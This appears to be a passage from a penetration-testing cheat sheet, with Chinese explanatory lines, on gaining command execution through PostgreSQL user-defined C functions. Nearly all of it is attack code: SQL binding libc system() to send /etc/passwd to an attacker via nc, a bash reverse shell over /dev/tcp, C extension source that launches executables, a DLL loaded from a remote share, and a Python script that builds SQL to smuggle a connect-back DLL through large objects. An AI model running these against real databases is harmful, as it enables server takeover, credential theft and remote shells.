CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
使用base64编写二进制文件
要在PostgreSQL中将二进制数据写入文件，您可能需要使用base64，这将对此非常有帮助：
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
IF fh <= 2 THEN
RETURN 1;
END IF;
SELECT decode(s, 'base64') INTO w;
i := 0;
LOOP
EXIT WHEN i >= octet_length(w);
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
IF rs < 0 THEN
RETURN 2;
END IF;
i := i + 1;
END LOOP;
SELECT close(fh) INTO rs;
RETURN 0;
END;
$$ LANGUAGE 'plpgsql';
然而，在尝试更高版本时，显示了以下错误：
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);
/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/
int instances = PG_GETARG_INT32(1);
for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
请注意，您无需附加.dll扩展名，因为创建函数将自动添加。
#!/usr/bin/env python3
import sys
if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")
